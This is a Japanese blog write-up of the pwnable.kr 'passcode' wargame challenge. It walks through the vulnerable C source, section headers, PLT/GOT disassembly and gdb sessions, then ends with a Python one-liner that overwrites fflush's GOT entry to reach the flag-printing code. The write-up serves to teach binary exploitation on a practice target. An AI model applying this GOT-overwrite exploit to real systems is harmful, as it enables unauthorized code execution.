pwnable.kr(5) ~passcode~
pwnable.krの5個目の記事です。
リモートにログインして解くタイプですね。
ssh ssh passcode@pwnable.kr -p2222
パスワードはguest。
passcode@ubuntu:~$ ls flag passcode passcode.c passcode@ubuntu:~$ cat passcode.c
で、出たソースコードは
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
scanfの使い方がおかしいね。コメントをみると、
「ハ!母ちゃんが32bitのブルートフォースの脆弱性があるって言ってたぜ!!」(意訳)
って感じ。
多分、これが言ってるのは、ASLR(Address Space Layout Randomization)で総当たりができるっていうことだと思う。
ASLRはセグメントのアドレスを実行ごとにランダムに配置するやつ。ただし、コードセグメントは不変。
32bitだとこのアドレスを決め打ちして、現実的な時間で当てることができる、という話だと思われる。だけど、今回は、使いません。
passcode@ubuntu:~$ readelf -S ./passcode There are 30 section headers, starting at offset 0x1154: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000024 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481d0 0001d0 0000c0 10 A 6 1 4 [ 6] .dynstr STRTAB 08048290 000290 00009e 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804832e 00032e 000018 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048348 000348 000040 00 A 6 1 4 [ 9] .rel.dyn REL 08048388 000388 000010 08 A 5 0 4 [10] .rel.plt REL 08048398 000398 000048 08 A 5 12 4 [11] .init PROGBITS 080483e0 0003e0 00002e 00 AX 0 0 4 [12] .plt PROGBITS 08048410 000410 0000a0 04 AX 0 0 16 [13] .text PROGBITS 080484b0 0004b0 00029c 00 AX 0 0 16 [14] .fini PROGBITS 0804874c 00074c 00001a 00 AX 0 0 4 [15] .rodata PROGBITS 08048768 000768 0000e7 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 08048850 000850 000044 00 A 0 0 4 [17] .eh_frame PROGBITS 08048894 000894 000108 00 A 0 0 4 [18] .ctors PROGBITS 08049f14 000f14 000008 00 WA 0 0 4 [19] .dtors PROGBITS 08049f1c 000f1c 000008 00 WA 0 0 4 [20] .jcr PROGBITS 08049f24 000f24 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049f28 000f28 0000c8 08 WA 6 0 4 [22] .got PROGBITS 08049ff0 000ff0 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049ff4 000ff4 000030 04 WA 0 0 4 [24] .data PROGBITS 0804a024 001024 000008 00 WA 0 0 4 [25] .bss NOBITS 0804a02c 00102c 00000c 00 WA 0 0 4 [26] .comment PROGBITS 00000000 00102c 00002a 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 001056 0000fc 00 0 0 1 [28] .symtab SYMTAB 00000000 001604 0004a0 10 29 45 4 [29] .strtab STRTAB 00000000 001aa4 000299 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
すべてのセクションの表示。.got.pltセクションをみてみると、WA、つまりW(write)が入ってるのでこのセクションは書き込めるわけだ。
ところで.got.pltセクションは外部の共有ライブラリに飛ぶ際に使われるテーブルで、たとえば、
passcode@ubuntu:~$ gdb -q ./passcode Reading symbols from ./passcode...(no debugging symbols found)...done. (gdb) disas welcome Dump of assembler code for function welcome: 0x08048609 <+0>: push %ebp 0x0804860a <+1>: mov %esp,%ebp 0x0804860c <+3>: sub $0x88,%esp 0x08048612 <+9>: mov %gs:0x14,%eax 0x08048618 <+15>: mov %eax,-0xc(%ebp) 0x0804861b <+18>: xor %eax,%eax 0x0804861d <+20>: mov $0x80487cb,%eax 0x08048622 <+25>: mov %eax,(%esp) 0x08048625 <+28>: call 0x8048420 <printf@plt> 0x0804862a <+33>: mov $0x80487dd,%eax 0x0804862f <+38>: lea -0x70(%ebp),%edx 0x08048632 <+41>: mov %edx,0x4(%esp) 0x08048636 <+45>: mov %eax,(%esp) 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov $0x80487e3,%eax 0x08048643 <+58>: lea -0x70(%ebp),%edx 0x08048646 <+61>: mov %edx,0x4(%esp) 0x0804864a <+65>: mov %eax,(%esp) 0x0804864d <+68>: call 0x8048420 <printf@plt> 0x08048652 <+73>: mov -0xc(%ebp),%eax 0x08048655 <+76>: xor %gs:0x14,%eax 0x0804865c <+83>: je 0x8048663 <welcome+90> ---Type <return> to continue, or q <return> to quit---q Quit
のprintfを呼んでいるところ
0x08048625 <+28>: call 0x8048420 <printf@plt>
こことかを見てみると、0x8048420っていうのはobjdumpから.pltセクションであることがわかる。
passcode@ubuntu:~$ objdump -j .plt -d ./passcode ... 08048420 <printf@plt>: 8048420: ff 25 00 a0 04 08 jmp *0x804a000 8048426: 68 00 00 00 00 push $0x0 804842b: e9 e0 ff ff ff jmp 8048410 <_init+0x30>
この部分をみると、1行目でさらに、0x804a000に保存されているアドレスにジャンプしていることがわかる。
じゃあ、0x804a000ってどこだっていう話になるんだけど、これが.gotテーブルなわけ。
passcode@ubuntu:~$ objdump -j .got.plt -d ./passcode ./passcode: file format elf32-i386 Disassembly of section .got.plt: 08049ff4 <_GLOBAL_OFFSET_TABLE_>: 8049ff4: 28 9f 04 08 00 00 00 00 00 00 00 00 26 84 04 08 (...........&... 804a004: 36 84 04 08 46 84 04 08 56 84 04 08 66 84 04 08 6...F...V...f... 804a014: 76 84 04 08 86 84 04 08 96 84 04 08 a6 84 04 08 v...............
これを見ると、printfは結局、0x08048426に飛んでることがわかる。
さっきも言った通り、このセクションは書き込み可能。
したがって、これのどれかをうまく書き換えれば、任意の場所に飛ばせることができる。ところで、なぜこのセクションが書き込み可能なのかということは
リンカ・ローダ開発テクニックとか、セキュリティコンテストチャレンジブックとかに載ってたと思う。リンクするときに変えられないとだめだからみたいな話だった気がする。
あとは、gdbでちまちまと考えていく。
passcode@ubuntu:~$ gdb -q ./passcode Reading symbols from ./passcode...(no debugging symbols found)...done. (gdb) b welcome Breakpoint 1 at 0x8048612 (gdb) b login Breakpoint 2 at 0x804856a (gdb) r Starting program: /home/passcode/passcode Toddler's Secure Login System 1.0 beta. Breakpoint 1, 0x08048612 in welcome () (gdb) disas welcome Dump of assembler code for function welcome: 0x08048609 <+0>: push %ebp 0x0804860a <+1>: mov %esp,%ebp 0x0804860c <+3>: sub $0x88,%esp => 0x08048612 <+9>: mov %gs:0x14,%eax 0x08048618 <+15>: mov %eax,-0xc(%ebp) 0x0804861b <+18>: xor %eax,%eax 0x0804861d <+20>: mov $0x80487cb,%eax 0x08048622 <+25>: mov %eax,(%esp) 0x08048625 <+28>: call 0x8048420 <printf@plt> 0x0804862a <+33>: mov $0x80487dd,%eax 0x0804862f <+38>: lea -0x70(%ebp),%edx 0x08048632 <+41>: mov %edx,0x4(%esp) 0x08048636 <+45>: mov %eax,(%esp) 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov $0x80487e3,%eax 0x08048643 <+58>: lea -0x70(%ebp),%edx 0x08048646 <+61>: mov %edx,0x4(%esp) 0x0804864a <+65>: mov %eax,(%esp) 0x0804864d <+68>: call 0x8048420 <printf@plt> 0x08048652 <+73>: mov -0xc(%ebp),%eax 0x08048655 <+76>: xor %gs:0x14,%eax 0x0804865c <+83>: je 0x8048663 <welcome+90> ---Type <return> to continue, or q <return> to quit---q Quit (gdb) p/x $esp $1 = 0xfff33dd0 (gdb) p/x $ebp $2 = 0xfff33e58 (gdb) c Continuing. enter you name : aaaaaaaa Welcome aaaaaaaa! Breakpoint 2, 0x0804856a in login () (gdb) disas login Dump of assembler code for function login: 0x08048564 <+0>: push %ebp 0x08048565 <+1>: mov %esp,%ebp 0x08048567 <+3>: sub $0x28,%esp => 0x0804856a <+6>: mov $0x8048770,%eax 0x0804856f <+11>: mov %eax,(%esp) 0x08048572 <+14>: call 0x8048420 <printf@plt> 0x08048577 <+19>: mov $0x8048783,%eax 0x0804857c <+24>: mov -0x10(%ebp),%edx 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov 0x804a02c,%eax 0x08048590 <+44>: mov %eax,(%esp) 0x08048593 <+47>: call 0x8048430 <fflush@plt> 0x08048598 <+52>: mov $0x8048786,%eax 0x0804859d <+57>: mov %eax,(%esp) 0x080485a0 <+60>: call 0x8048420 <printf@plt> 0x080485a5 <+65>: mov $0x8048783,%eax 0x080485aa <+70>: mov -0xc(%ebp),%edx 0x080485ad <+73>: mov %edx,0x4(%esp) 0x080485b1 <+77>: mov %eax,(%esp) 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> ---Type <return> to continue, or q <return> to quit---q Quit (gdb) p/x $esp $3 = 0xfff33e30 (gdb) p/x $ebp $4 = 0xfff33e58
$ebpが同じであることがわかる。そりゃ、mainで関数を連続呼び出ししているからね。念のため。スタックポインタは表示した意味ないです。
scanfは呼び出しの際にeaxにフォーマット文字列の先頭アドレス、この場合はedxに、第二引数のアドレスが格納されて、スタックにプッシュされて呼び出されていることがわかる。
また、welcomeでは、nameをスタック内に取っているので、書き込んだものは、login呼び出し内で残されるということもわかる。
まず、welcome内では、
(gdb) disas welcome Dump of assembler code for function welcome: 0x08048609 <+0>: push %ebp 0x0804860a <+1>: mov %esp,%ebp 0x0804860c <+3>: sub $0x88,%esp 0x08048612 <+9>: mov %gs:0x14,%eax 0x08048618 <+15>: mov %eax,-0xc(%ebp) 0x0804861b <+18>: xor %eax,%eax 0x0804861d <+20>: mov $0x80487cb,%eax 0x08048622 <+25>: mov %eax,(%esp) 0x08048625 <+28>: call 0x8048420 <printf@plt> 0x0804862a <+33>: mov $0x80487dd,%eax 0x0804862f <+38>: lea -0x70(%ebp),%edx 0x08048632 <+41>: mov %edx,0x4(%esp) 0x08048636 <+45>: mov %eax,(%esp) 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov $0x80487e3,%eax 0x08048643 <+58>: lea -0x70(%ebp),%edx 0x08048646 <+61>: mov %edx,0x4(%esp) 0x0804864a <+65>: mov %eax,(%esp) 0x0804864d <+68>: call 0x8048420 <printf@plt> 0x08048652 <+73>: mov -0xc(%ebp),%eax 0x08048655 <+76>: xor %gs:0x14,%eax 0x0804865c <+83>: je 0x8048663 <welcome+90> ---Type <return> to continue, or q <return> to quit--- 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret End of assembler dump.
のscanf直前の
0x0804862f <+38>: lea -0x70(%ebp),%edx
ここで、edxがebp-0x70になることがわかる。ここがnameの先頭。
次に、
(gdb) disas login Dump of assembler code for function login: 0x08048564 <+0>: push %ebp 0x08048565 <+1>: mov %esp,%ebp 0x08048567 <+3>: sub $0x28,%esp 0x0804856a <+6>: mov $0x8048770,%eax 0x0804856f <+11>: mov %eax,(%esp) 0x08048572 <+14>: call 0x8048420 <printf@plt> 0x08048577 <+19>: mov $0x8048783,%eax 0x0804857c <+24>: mov -0x10(%ebp),%edx 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov 0x804a02c,%eax 0x08048590 <+44>: mov %eax,(%esp) 0x08048593 <+47>: call 0x8048430 <fflush@plt> 0x08048598 <+52>: mov $0x8048786,%eax 0x0804859d <+57>: mov %eax,(%esp) 0x080485a0 <+60>: call 0x8048420 <printf@plt> 0x080485a5 <+65>: mov $0x8048783,%eax 0x080485aa <+70>: mov -0xc(%ebp),%edx 0x080485ad <+73>: mov %edx,0x4(%esp) 0x080485b1 <+77>: mov %eax,(%esp) 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> ---Type <return> to continue, or q <return> to quit--- 0x080485b9 <+85>: movl $0x8048799,(%esp) 0x080485c0 <+92>: call 0x8048450 <puts@plt> 0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp) 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: movl $0x80487a5,(%esp) 0x080485de <+122>: call 0x8048450 <puts@plt> 0x080485e3 <+127>: movl $0x80487af,(%esp) 0x080485ea <+134>: call 0x8048460 <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: movl $0x80487bd,(%esp) 0x080485f8 <+148>: call 0x8048450 <puts@plt> 0x080485fd <+153>: movl $0x0,(%esp) 0x08048604 <+160>: call 0x8048480 <exit@plt> End of assembler dump.
この1回目のscanfの前の部分を考えてみると、同様に、edx=*(ebp-0x10)となっていることがわかる。よって、これが、passcode1 の先頭アドレス。この中にあるアドレスにscanfが書き込むわけだ。ここに、welcomeで書き込んでまだ残っている値を利用して、scanfに飛びたいアドレスを書き込ませる。
今回は 1 回目のscanfのあとのfflushのGOTテーブル(0x804a004)を変更して、出力部分に飛ぶ。飛びたいところは、system呼ぶ前の引数設定の場所0x080485e3なので、
python -c "print 'a'*(0x70-0x10)+'\x04\xa0\x04\x08\n'+str(0x80485e3)" | ./passcode